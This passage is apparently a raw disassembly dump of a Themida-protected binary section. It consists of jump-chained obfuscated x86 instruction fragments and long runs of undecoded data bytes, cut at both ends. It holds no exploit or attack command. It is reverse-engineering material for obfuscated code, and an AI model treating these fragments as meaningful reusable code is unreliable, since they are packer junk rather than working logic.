0C181F101h dd 5A17345h, 129BE9h, 24248B00h, 0FEEBC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5607AD: ; CODE XREF: Themida_:0055D441j pop ebx jmp loc_556C49 ; --------------------------------------------------------------------------- loc_5607B3: ; CODE XREF: Themida_:0056193Ej pop edi shl edi, 3 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx jmp loc_55F368 ; --------------------------------------------------------------------------- loc_5607D0: ; CODE XREF: Themida_:00563EC9j push edi push eax jmp loc_5531CF ; --------------------------------------------------------------------------- loc_5607D7: ; CODE XREF: Themida_:005525DDj push esi jmp loc_56018C ; --------------------------------------------------------------------------- db 31h, 0F9h, 5Fh dd 0FFAEDEE9h, 0D830ACFFh, 4EC81h, 14890000h, 15286824h dd 9BE90000h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5607FB: ; CODE XREF: Themida_:0055A9DDj add ecx, 35D80DBDh pop edi jmp loc_56423D ; --------------------------------------------------------------------------- loc_560807: ; CODE XREF: Themida_:005600A6j mov [esp], ebp jmp loc_562785 ; --------------------------------------------------------------------------- loc_56080F: ; CODE XREF: Themida_:0055046Fj push ecx mov ecx, 2656672Ah sub [esp+8], ecx mov ecx, [esp] jmp loc_557755 ; --------------------------------------------------------------------------- loc_560821: ; CODE XREF: Themida_:00553DCDj push ebp mov ebp, esp jmp loc_558CC5 ; --------------------------------------------------------------------------- loc_560829: ; CODE XREF: Themida_:005638C4j push 82Eh mov [esp], edi mov edi, 13112D7Ah dec edi or edi, 167E60B2h inc edi shl edi, 4 push esi mov esi, 5FE30E9Dh add esi, 0BF579A4Fh xor edi, esi mov esi, [esp] add esp, 4 push edi mov ebx, [esp] add esp, 4 mov edi, [esp] add esp, 4 push eax push edi mov edi, 63CA4577h mov eax, edi pop edi jmp loc_54F3F2 ; --------------------------------------------------------------------------- aIS_0 db '‰,$é',0 db 87h, 2 dup(0FFh) dd 51CE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560882: ; CODE XREF: Themida_:0055FCEBj push ebx mov ebx, 7EE00F80h jmp loc_55521E ; --------------------------------------------------------------------------- db 89h, 0E2h, 0E9h dd 0FFFF78B2h, 4C381h, 1C870000h, 1C8B5C24h, 24B26824h dd 2C890000h, 0E95D5424h, 1D21h, 80FE2858h, 305BA8EEh dd 2434FFF0h, 4445685Ah, 0C890000h, 81E18924h, 4C1h, 11146800h dd 14890000h, 4BA24h, 0BA520000h, 2A054F36h, 525AD129h dd 486C17BAh, 5AD12904h, 0B9E9D101h, 81FFFF0Ah, 44016AEEh dd 5EF7317Fh, 0FEFA7EE9h, 0D831ADFFh, 0EDE6856h, 4890000h dd 60CCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560912: ; CODE XREF: Themida_:0055411Cj mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_556BD1 ; --------------------------------------------------------------------------- loc_560925: ; CODE XREF: Themida_:00553722j sub edx, 1F3F1634h jmp loc_556A29 ; --------------------------------------------------------------------------- dd 8704C083h, 535C2404h, 0E17E0EBBh, 729CE964h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560942: ; CODE XREF: Themida_:00558213j pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_5561D4 ; --------------------------------------------------------------------------- db 59h dd 10BD5543h, 0E92C6F7Ch, 0FFFF3456h, 0FD6F27B8h, 446B0D01h dd 72E90B13h, 66FFFFB9h, 0E9240C8Bh, 0FFFFA5E6h, 0E958C589h dd 0FFFFA19Eh, 4240481h, 5D000000h, 1B83B850h, 0E8835073h dd 5DB951FFh, 0D15B803Fh, 1672E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56099A: ; CODE XREF: Themida_:00555F5Fj add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_563F14 ; --------------------------------------------------------------------------- db 68h dd 17F7h, 0F7242C89h, 1FE9241Ch, 56FFFFB4h, 0FF4B3EE9h dd 0BBCBBFFh, 0D8015380h, 0AB95E95Bh, 835DFFFFh, 0DEE904EFh dd 57FFFF65h, 8E4E8BBFh, 5FF92946h, 5059CF01h, 6B21F6B8h dd 0E189514Fh, 0FF02A6E9h, 243489FFh, 0D43F5D68h, 0D1685E6Bh dd 0E9000036h, 0FFFF56EFh ; --------------------------------------------------------------------------- loc_560A04: ; CODE XREF: Themida_:0055C12Ej pop ebx shr eax, 0Ch jmp loc_5626FD ; --------------------------------------------------------------------------- loc_560A0D: ; CODE XREF: Themida_:0055950Fj pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_563390 ; --------------------------------------------------------------------------- db 68h, 0C8h, 29h dd 2C890000h, 2C8B5424h, 0E2895224h, 4C281h, 3CE90000h dd 8BFFFF3Eh, 0B1E92404h db 17h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560A3B: ; CODE XREF: Themida_:0055E45Aj push 4B48h mov [esp], esi mov esi, 60B967D3h jmp loc_55DD02 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FEFA1FE9h, 0B7BF57FFh, 552E3E72h, 0FF2010E9h, 640F2DFFh dd 0B00517A1h, 811B0A3Bh, 4ECh, 242C8900h, 55535D54h, 4BDh dd 5DEB8900h, 0FF92D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_560A85: ; CODE XREF: Themida_:00563DE0j push 23B9h mov [esp], ebx mov ebx, esp jmp loc_5512C5 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF75F7h, 0FFFB015Dh dd 565F2434h, 0C681E689h, 4, 4C681h, 34870000h, 0D8295C24h dd 4EC835Bh, 0E9243C89h, 440h, 997DE95Ah, 6FB9FFFFh, 4956BF1Eh dd 0FFEFADE9h, 241CF6FFh, 0E887E99Ch, 0E2C1FFFEh, 0D7BF5705h dd 29712A47h, 0BD555FFAh, 9257464Ch, 895DEA01h, 2434FFD5h dd 4C4835Ah, 37C568h, 242C8900h, 0AFCE39BDh, 5D5E552Eh dd 295DEE01h, 8B042474h, 0C4832434h, 2434FF04h, 8324048Bh dd 0E95704C4h, 0FFFEE892h, 78E95255h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_560B37: ; CODE XREF: Themida_:0054FDADj add esp, 4 shr eax, 0Bh xor ecx, eax push esi push esi mov esi, esp add esi, 4 push ecx mov ecx, 155F7AA0h add ecx, 0EAA08564h sub esi, ecx pop ecx xchg esi, [esp] jmp loc_557B48 ; --------------------------------------------------------------------------- dd 1F8268h, 48F5400h, 0E0895024h, 405h, 47BCE900h, 575AFFFFh dd 0FF129DE9h, 0E1C15AFFh, 38C98106h, 51362F3Dh, 592414F7h dd 0FFF64DE9h db 0FFh ; --------------------------------------------------------------------------- loc_560B91: ; CODE XREF: Themida_:0054F789j push 0 sub [esp], ecx pop ecx push ebx mov ebx, 2DA55E2Ch jmp loc_55A375 ; --------------------------------------------------------------------------- db 5Ah, 21h, 0F8h a_hch db '_hCH',0 align 2 dw 489h dd 1CB824h, 9B050000h, 543A813h, 0CA315B2h, 0B22DF801h dd 550CA315h, 0AA2713BDh, 14F75528h, 0B9515D24h, 0FFFFFFFFh dd 0FF0EECE9h db 0FFh ; --------------------------------------------------------------------------- loc_560BDD: ; CODE XREF: Themida_:00550C39j mov [esp], edx push 23E5h mov [esp], esp add dword ptr [esp], 4 pop edx push 2E28h mov [esp], ecx mov ecx, 4 add edx, ecx jmp loc_5541BD ; --------------------------------------------------------------------------- dd 814A4A5Bh, 0B03E3EEAh, 6E2C15Ah, 0BF57DAF7h, 9CE80801h dd 0FF7F4AE9h, 24048FFFh, 0B9C6E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C26: ; CODE XREF: Themida_:00559247j sub esi, 0CDF7141Eh sub ebx, esi pop esi sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], eax push esi mov esi, 5FCD3146h push eax mov eax, 6A2B2B09h jmp loc_55231F ; --------------------------------------------------------------------------- loc_560C58: ; CODE XREF: Themida_:005536CBj pop esp mov [esp], edx sub esp, 4 mov [esp], esi push ebp mov ebp, 415F52B5h dec ebp add ebp, 6ED31136h jmp loc_561101 ; --------------------------------------------------------------------------- dd 0FD89D789h, 0E8015A5Fh, 0FFE045E9h, 52D828FFh, 8805B151h dd 0DEF659CEh, 6698E680h, 63E95051h, 66000015h, 57240C8Bh dd 0FFEBACE9h db 0FFh ; --------------------------------------------------------------------------- loc_560CA1: ; CODE XREF: Themida_:005600E5j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 239C5A5Bh pop ebp mov ecx, ebp pop ebp jmp loc_551930 ; --------------------------------------------------------------------------- dd 240CFF66h, 0E6A7E99Ch, 0FEBDFFFEh, 81645895h, 0D7397FC7h dd 81EF013Bh, 0D7397FEFh, 0EC835D3Bh, 243C8904h, 582434FFh dd 494CE955h, 0CA31FFFFh, 53240C8Bh, 0C381E389h, 4, 4BA52h dd 0D3010000h, 241C875Ah, 6E68E95Ch, 6859FFFFh, 40E7h dd 0E9240C89h, 0FFFFE5B1h, 383DBD55h, 0E5C12893h, 3DBF5703h dd 29292085h, 7AE95FFDh, 47FFFF58h, 1B3DF781h, 0EF816927h dd 0C9403D76h, 2DD6C681h, 2E95D59h db 25h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D47: ; CODE XREF: Themida_:00562792j add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 5140h mov [esp], eax mov eax, 49293A36h sub esi, eax pop eax jmp loc_563F5C ; --------------------------------------------------------------------------- dw 8B58h dd 0EC832404h, 241C8904h, 0C381E389h, 4, 286E9h, 247C2900h dd 815E5F04h, 8C55A8C6h, 242C8B59h, 0FF6EA6E9h, 0E5CFE9FFh dd 4BDFFFEh, 0E9000000h, 0FFFFDF71h, 0E9243C8Bh, 0FFFF818Dh ; --------------------------------------------------------------------------- loc_560DB0: ; CODE XREF: Themida_:0055B81Ej shl ecx, 8 neg ecx sub ecx, 7D8F37D6h xor ecx, 44CA5810h add ecx, 97598DFBh sub ebp, ecx pop ecx sub esp, 4 mov [esp], edi mov edi, 47C90377h shr edi, 2 push eax mov eax, 90C6781h xor eax, 3E5F2EFBh jmp loc_55EBB4 ; --------------------------------------------------------------------------- db 1 dd 145A2DF0h, 34FF0AC8h, 0A7E95E24h, 5DFFFFF5h, 2CDAB951h dd 0EC837843h, 240C8904h, 7F566853h, 815B2309h, 6F0EDEC3h dd 28E3814Eh, 0F700D762h, 0C6EB81DBh, 89B1347Eh, 0F1815BD9h dd 6CB50B86h, 27DDE981h, 88E91A81h, 56FFFF46h, 0BC755FBEh dd 0E9F13144h, 0FFFF3E8Ah, 57240C8Bh, 0C781E789h, 4, 0FF1282E9h db 0FFh ; --------------------------------------------------------------------------- loc_560E55: ; CODE XREF: Themida_:00555274j push esi mov esi, 4F1311E3h jmp loc_561740 ; --------------------------------------------------------------------------- loc_560E60: ; CODE XREF: Themida_:00550E18j push 47BDh mov [esp], eax mov eax, 3A14C6Bh sub eax, 53AF420Ah not eax jmp loc_555F23 ; --------------------------------------------------------------------------- loc_560E79: ; CODE XREF: Themida_:0055455Bj add esi, edi pop edi xchg esi, [esp] jmp loc_5581EA ; --------------------------------------------------------------------------- dd 0DCFEA81h, 0C20104CEh, 0DCFC281h, 0EA8104CEh, 5EE4603Ch dd 8324048Bh, 0D4E904C4h, 81FFFFB6h, 7816DFEDh, 81F5012Bh dd 7816DFC5h, 256FE92Bh, 148B0000h, 4C48324h, 92E5EE81h dd 6FE92C2Bh db 0F7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560EC7: ; CODE XREF: Themida_:0055ECC1j push edx jmp loc_5578CD ; --------------------------------------------------------------------------- db 51h, 0E9h, 0Eh db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560ED3: ; CODE XREF: Themida_:00553B1Dj push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] add edx, 4 add edx, 2 xchg edx, [esp] pop esp shr dword ptr [esp], cl pushf jmp loc_54F36D ; --------------------------------------------------------------------------- loc_560EFB: ; CODE XREF: Themida_:00558426j pop esp and eax, edx mov edx, [esp] add esp, 4 jmp loc_55F4CA ; --------------------------------------------------------------------------- dd 2221ECBFh, 0CECF8172h, 0E95F5C7Bh, 0FFFF6A52h ; --------------------------------------------------------------------------- loc_560F1C: ; CODE XREF: Themida_:0054F5F3j add ebx, edi sub ebx, 1A307C02h mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5615FB ; --------------------------------------------------------------------------- loc_560F3C: ; CODE XREF: Themida_:00556D37j sub esp, 4 mov [esp], eax mov eax, 1DD93BBBh jmp loc_559154 ; --------------------------------------------------------------------------- dd 0C7815F54h, 4, 8704EF83h, 248B243Ch, 243C8924h, 0FF7D9CE9h dd 0FFC801FFh, 81592434h, 4C4h, 0D288E900h, 535DFFFFh dd 42474FFh, 24048F5Bh, 8924248Bh, 89532404h, 4C381E3h dd 83000000h, 0D2E904EBh db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560F97: ; CODE XREF: Themida_:0055CC52j mov [esp], eax add dword ptr [esp], 0FFFFFFFFh mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_559620 ; --------------------------------------------------------------------------- loc_560FBF: ; CODE XREF: Themida_:00555669j shr ebp, 3 add ebp, 64601E17h jmp loc_554C84 ; --------------------------------------------------------------------------- loc_560FCD: ; CODE XREF: Themida_:005541C9j add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 sub edx, ebx mov ebx, [esp] jmp loc_55FF63 ; --------------------------------------------------------------------------- aUaR db '±U€ÃR',0 db 0CBh dd 6652EB80h, 5B63E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FF6: ; CODE XREF: Themida_:00554F99j sub bl, 0B6h pop edx sub bl, 0D4h push edx mov dl, 0F6h or dl, 0D4h add dl, 5Fh jmp loc_562E48 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 241C8700h, 0DEA355Ch, 0CF6869D6h, 0E900002Ah dd 0FFFF027Dh, 69DD68h, 167DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56102E: ; CODE XREF: Themida_:005573D9j pop edx pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebx jmp loc_5585CF ; --------------------------------------------------------------------------- db 81h, 0F3h, 3Bh dd 815C8D0Eh, 2A7D67F3h, 0A7C38175h, 0E9C6FB12h, 51Eh ; --------------------------------------------------------------------------- loc_561058: ; CODE XREF: Themida_:00562A50j xor ebp, [esp] jmp loc_557E32 ; --------------------------------------------------------------------------- loc_561060: ; CODE XREF: Themida_:0056190Cj sub ch, dl pop dx xor al, ch mov ecx, [esp] sub esp, 4 mov [esp], esi jmp loc_562BB3 ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FF1E38E9h, 665066FFh dd 8124348Bh, 2C4h, 48B6600h, 2C48324h, 0FF665666h, 66022474h dd 48F665Eh, 4C2EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610AE: ; CODE XREF: Themida_:005507B5j mov [esp], ecx jmp loc_55574C ; --------------------------------------------------------------------------- loc_5610B6: ; CODE XREF: Themida_:00557ECBj and ebp, eax pop eax add ebp, 0BF7650DFh sub edi, ebp jmp loc_559FD8 ; --------------------------------------------------------------------------- dw 0EE81h dd 4E8F2F02h, 3BDBC681h, 1C8B2F75h, 4C48124h, 87000000h dd 248B2434h, 0C896624h, 0B60F6624h, 0CF85E9C8h, 0D889FFFFh dd 18AB2D5Bh, 7405221Ah, 40048D56h, 2A1BE9h db 0 ; --------------------------------------------------------------------------- loc_561101: ; CODE XREF: Themida_:00560C6Fj or ebp, 69DE2A72h jmp loc_55908A ; --------------------------------------------------------------------------- dd 4AB0F66h, 56E99C24h, 89FFFEE2h, 18BA2414h, 56621A59h dd 7DF25CBEh, 0E9F089DCh, 24E0h, 0B053E95Bh, 48FFFFFh dd 24248B24h, 4BB0F66h, 2AE99C24h, 68FFFEE2h, 3341h, 0BB241C89h dd 508775F6h, 361DE9h, 242C8900h, 4BDh, 5DEA0100h, 2474FF52h dd 53E904h, 77FF0000h, 58669D1Ch, 9C240410h, 0FEE1F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_561179: ; CODE XREF: Themida_:00561CC7j mov [esp], ecx push edi push ebx mov ebx, 7F832AD6h shr ebx, 4 not ebx sub ebx, 18B7BEDh shr ebx, 2 sub ebx, 3D9F1455h mov edi, ebx pop ebx mov ecx, edi pop edi add eax, ecx push dword ptr [esp] jmp loc_553A6C ; --------------------------------------------------------------------------- loc_5611A7: ; CODE XREF: Themida_:0055FCA0j push dword ptr [esp] pop ebp add esp, 4 push ebx jmp loc_562A8D ; --------------------------------------------------------------------------- loc_5611B7: ; CODE XREF: Themida_:005563B8j pop ebx jmp loc_55BFD2 ; --------------------------------------------------------------------------- db 5Ah, 8Fh, 4 dd 24248B24h, 5C24048Fh, 8B2434FFh, 0E9502404h, 0FFFF82A4h dd 0C8BC800h, 4C48124h, 0 dd 5A3F2CF0h, 0FFC078E9h db 0FFh ; --------------------------------------------------------------------------- loc_5611E9: ; CODE XREF: Themida_:00552EBCj sub esp, 4 jmp loc_554FE4 ; --------------------------------------------------------------------------- dd 5558C531h, 5D2414F7h, 815EBE56h, 0F529A905h, 8124348Bh dd 4C4h, 0E9EA0100h, 0FFFF3263h, 0E5D1D5F7h, 0D6F7F587h dd 0DDF7F587h, 0FFEB63E9h, 14875EFFh, 0FE20E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56122E: ; CODE XREF: Themida_:0055EEAAj sub esp, 4 mov [esp], ecx mov cl, 0B9h mov al, 68h add al, cl jmp loc_552F6A ; --------------------------------------------------------------------------- db 5 dd 4, 42Dh, 24048700h, 243C895Ch, 0EC81E789h, 4, 0B8240489h dd 65F76ABDh, 0D8F7D8F7h, 97386E2Dh, 55E0D152h, 0E9E78957h dd 0FFFF6135h, 45BEC681h, 8CE9280Ah db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56127F: ; CODE XREF: Themida_:00556F70j xor edi, [esp] jmp loc_5593DB ; --------------------------------------------------------------------------- loc_561287: ; CODE XREF: Themida_:00562C23j sub edi, eax pop eax sub edi, 10544969h pop eax jmp loc_55BF41 ; --------------------------------------------------------------------------- dw 0D425h dd 0F70D1A71h, 970135D8h, 0C129AC25h, 0FFC5FDE9h, 58E588FFh dd 81241C8Bh, 4C4h, 2EC8300h, 24148966h, 30E948B6h, 5AFFFF81h dd 3ABD5559h, 45122360h, 4288ED81h, 81450924h, 0C24C52EDh dd 6C8FE977h, 5954FFFFh, 0ACE95253h, 89FFFF57h, 4C581E5h dd 83000000h, 2C8704EDh, 0BA8E924h, 0EC810000h, 4, 0BB241C89h dd 5656FDBh, 2E9D801h, 81FFFF93h, 4ECh, 2D7CE900h, 0C3810000h dd 4, 2C381h, 1C330000h, 241C3124h, 5C241C33h, 805BF988h dd 0B353A6F1h, 0D1E38039h, 0E9CDCB80h, 0FFFF2FEFh, 74C98159h dd 0E9657C0Bh, 1CAEh, 0F280C1B2h, 0EEC4E964h, 7CBDFFFEh dd 811E4E26h, 0FF564FCDh, 7BED8162h, 0E97EFF76h, 0FFFEFCBFh dd 0B60C0566h, 0B2C18166h, 0C1296601h, 0B2E98166h, 81665801h dd 0E93EF2EEh, 0FFFF94D3h ; --------------------------------------------------------------------------- loc_56138C: ; CODE XREF: Themida_:00559085j mov ecx, 209525AFh jmp loc_55973D ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 4EC81h, 3E90000h, 5CFFFF42h, 0F028BE2Ch, 5A66BE04h dd 0E904EC83h, 0FFFFD251h, 3304C483h, 34312434h, 6763E924h dd 0EC83FFFFh, 240C8904h, 0FB27F3B9h, 8349410Dh, 148904ECh dd 2FC26824h, 4890000h, 3061E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5613E6: ; CODE XREF: Themida_:00554884j add edi, 1 shl edi, 1 jmp loc_55EE65 ; --------------------------------------------------------------------------- loc_5613F3: ; CODE XREF: Themida_:0055A68Aj add ecx, esi sub ecx, 4EC66883h pop esi add ecx, 4 jmp loc_55C903 ; --------------------------------------------------------------------------- dd 7018F181h, 0E9814655h, 85C686EBh, 5FE9C831h db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561417: ; CODE XREF: Themida_:00562DB2j shr edi, 7 sub esp, 4 mov [esp], eax jmp loc_55DEAF ; --------------------------------------------------------------------------- dd 0DEC6815Fh, 8129391Eh, 1962B9C6h, 0CC7CE956h, 248BFFFFh dd 4EC8324h, 0FF0456E9h, 243433FFh, 33243431h, 0E95C2434h dd 0FFFFBC9Dh ; --------------------------------------------------------------------------- loc_561454: ; CODE XREF: Themida_:00562F19j sub ebx, eax jmp loc_551CBF ; --------------------------------------------------------------------------- db 8Bh dd 0E1C12424h, 3B85007h, 31397833h, 0DDE958C1h, 0B800002Ch dd 4, 8758C501h, 248B242Ch, 0DEEBE924h, 0BB53FFFEh, 70FF74B0h dd 0FEF3ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_56148D: ; CODE XREF: Themida_:0055D879j push small 6B20h mov [esp], dx push ax pushf jmp loc_553B7E ; --------------------------------------------------------------------------- db 0BDh, 4Ch, 3 dd 0DDF73406h, 8102EDC1h, 74C1CE5h, 0E6E5816Ch, 4D683D3Dh dd 188EC581h, 31E9513Ah, 28FFFF3Fh, 0F80059EFh, 0E9102C5Bh dd 0FFFF88D2h, 0E9F8315Ah, 0FFFFD503h ; --------------------------------------------------------------------------- loc_5614D4: ; CODE XREF: Themida_:0055F5AFj not ecx xchg ecx, [esp] push dword ptr [esp] pop eax push 0B06h mov [esp], edi push esp pop edi push ebp mov ebp, 712F4AD2h neg ebp shr ebp, 1 shr ebp, 2 sub ebp, 11DA16A1h sub edi, 503E0C4Bh add edi, ebp add edi, 503E0C4Bh pop ebp jmp loc_5530BE ; --------------------------------------------------------------------------- dw 3C89h dd 4F82BF24h, 0EF815215h, 26E54858h, 98E9DFF7h, 0BAFFFFF4h dd 3F983184h, 0C35AEA81h, 0D129DDBDh, 0FF652DE9h db 0FFh ; --------------------------------------------------------------------------- loc_561535: ; CODE XREF: Themida_:00552C5Bj mov [esp], edx push dword ptr [esp+4] mov edx, [esp] jmp loc_5601B9 ; --------------------------------------------------------------------------- dd 34FFC101h, 54575824h, 4C7815Fh, 83000000h, 3C8704C7h dd 0B8505C24h, 18432A99h, 4807E0C1h, 954C7B35h, 47E98121h dd 296C2B55h, 0EF72E9C1h, 0DD01FFFEh, 8BEA015Bh, 0C481242Ch dd 4, 8702C283h, 5DE92414h, 87FFFF76h, 0B0E92404h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561597: ; CODE XREF: Themida_:0055A7D3j mov [esp], eax mov eax, 2B3E2DA7h mov edi, 5A951E41h sub edi, 8FB4855h neg edi jmp loc_558BDC ; --------------------------------------------------------------------------- loc_5615B1: ; CODE XREF: Themida_:0055B3B1j shl ebp, 5 push edi mov edi, 391349A4h sub edi, 0FA4EF1D8h jmp loc_558A05 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 31241433h, 1E92414h, 53000025h, 52119DBBh, 0E9DF8917h dd 16B5h, 0C581E589h, 4, 8704C583h, 6FE9242Ch, 5BFFFF4Ch dd 0C9E9EB01h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5615FB: ; CODE XREF: Themida_:00560F37j push esi jmp loc_55BDBF ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4C481h, 0E9500000h, 0FFFFEF00h ; --------------------------------------------------------------------------- loc_561610: ; CODE XREF: Themida_:0055482Ej mov esp, [esp] loc_561613: ; CODE XREF: Themida_:0055A5BEj push 48C9h mov [esp], ebx jmp loc_554121 ; --------------------------------------------------------------------------- loc_561620: ; CODE XREF: Themida_:005575A5j mov dl, 0B8h sub dl, 2 add bl, dl pop edx jmp loc_554F91 ; --------------------------------------------------------------------------- db 28h, 0F8h, 0E9h dd 0FFFF5F37h, 2409B951h, 0EB816F50h, 64812DD4h, 0FF09CDE9h dd 4C181FFh, 81000000h, 4E9h, 240C8700h, 2404895Ch, 74685250h dd 0E900007Bh, 0FFFF33C0h, 0E9DFF75Fh, 0FFFFBF84h, 24048B66h dd 3D7E68h, 240C8900h, 698A68h, 24248900h, 4240483h, 0FF8BCAE9h dd 240433FFh, 33240431h, 895C2404h, 0CB682434h, 0E96CD261h dd 0FFFFBABBh ; --------------------------------------------------------------------------- loc_5616A0: ; CODE XREF: Themida_:0055C8ABj add al, 4Fh pop edx pop cx sub esp, 4 jmp loc_554FB8 ; --------------------------------------------------------------------------- dd 4C48358h, 6804C483h, 3551h, 0FF17AAE9h, 0A8BF57FFh dd 553C9816h, 0BD5A11BDh, 0E334E92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5616D2: ; CODE XREF: Themida_:00551602j sub esi, edx pop edx add esi, 9E8B5657h sub ebx, 3DCB68E9h add ebx, esi add ebx, 3DCB68E9h mov esi, [esp] add esp, 4 jmp loc_55C798 ; --------------------------------------------------------------------------- dd 0D095E981h, 0C8013804h, 0CFBA5259h, 1334371h, 7BE95AD0h dd 2DFFFF26h, 9F2352Fh, 5504E0C1h, 0ED43F3BDh, 0E9454D56h dd 0FFFFD54Ch, 8904EC83h, 5B54241Ch, 4C381h, 0EB810000h dd 4, 5C241C87h, 0E9240C89h, 0FFFF70AAh ; --------------------------------------------------------------------------- loc_561740: ; CODE XREF: Themida_:00560E5Bj sub esp, 4 jmp loc_557783 ; --------------------------------------------------------------------------- loc_56174B: ; CODE XREF: Themida_:00555959j movzx eax, al pop dword ptr [edi+eax*4] jmp loc_54F36D ; --------------------------------------------------------------------------- loc_561756: ; CODE XREF: Themida_:00554CFAj mov esp, [esp] push ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_55E05E ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0C1830000h, 9B21E904h, 1487FFFFh, 3C895C24h dd 596E6824h, 0EC810000h, 4, 83242489h, 7FE904ECh db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561793: ; CODE XREF: Themida_:00555234j pop ecx sub ecx, 30163030h sub ecx, edi push edx mov edx, 30163030h add ecx, edx pop edx jmp loc_5575D5 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 582434FFh, 5104C483h, 0EC83E189h, 24048904h dd 4EC81h, 6FE90000h, 89FFFFBAh, 0B8682434h, 0E93D7809h dd 0FFFEDCA5h, 815BDA01h, 4EAh, 24148700h, 2414895Ch, 0A6E9E289h dd 5EFFFF2Bh, 0BA52CF01h, 335623Ah, 74DCCA81h, 63E91F12h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_561803: ; CODE XREF: Themida_:00554353j mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_562DF9 ; --------------------------------------------------------------------------- aVhr db 'Vh;',0 dd 0E408E900h, 68FFFEh, 0FF000000h, 31E92434h, 42FFFF30h dd 0FF305EE9h db 0FFh ; --------------------------------------------------------------------------- loc_56183D: ; CODE XREF: Themida_:0055F2B4j mov dl, 0FFh jmp loc_562408 ; --------------------------------------------------------------------------- dd 15AD389h, 2434FFDEh, 0E954575Bh, 0E6Ah, 0EC83555Ch dd 243C8904h, 5356E8BFh, 36E3E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561866: ; CODE XREF: Themida_:00562474j add edi, esi pop esi push ecx jmp loc_55E1C3 ; --------------------------------------------------------------------------- loc_56186F: ; CODE XREF: Themida_:005582C0j push 30E9h mov [esp], edx mov edx, 24E0635Dh push edi mov edi, 3F12BB60h sub edx, edi jmp loc_54F5EC ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8B241487h, 89662424h, 50662414h, 0DACFE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56189E: ; CODE XREF: Themida_:0055B10Bj push dword ptr [esp] pop edx add esp, 4 jmp loc_563186 ; --------------------------------------------------------------------------- db 1, 0CEh, 53h dd 2C2F93BBh, 2EEE815Fh, 16CE33Bh, 2EC681DEh, 0E96CE33Bh dd 0FFFF3EDEh, 81CF015Eh, 0FF3BD5C7h, 72E95175h db 2Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5618D7: ; CODE XREF: Themida_:005593D6j or ebx, ecx pop ecx push ebp push eax push edi mov edi, 31F722FDh jmp loc_5602D6 ; --------------------------------------------------------------------------- db 8Bh dd 8953240Ch, 4C381E3h, 83000000h, 0FF5304C3h, 5B042474h dd 5C24048Fh, 0FEDA68E9h db 0FFh ; --------------------------------------------------------------------------- loc_561905: ; CODE XREF: Themida_:0054FABFj shl ch, 6 push dx mov dl, 79h jmp loc_561060 ; --------------------------------------------------------------------------- loc_561911: ; CODE XREF: Themida_:00557D62j add esp, 4 add esp, 4 add ebx, 234A023Fh sub ebx, 6DD074CDh add ebx, edi add ebx, 6DD074CDh push 30ADh mov [esp], edi push 320313F3h jmp loc_5607B3 ; --------------------------------------------------------------------------- loc_561943: ; CODE XREF: Themida_:00552B14j mov ebp, esi mov esi, [esp] add esp, 4 jmp loc_5534EC ; --------------------------------------------------------------------------- dd 590CEE81h, 23E96D3Ah, 56FFFF36h, 0BB5BE3BEh, 0A9C38139h dd 16C4730h, 0A9EB81F3h, 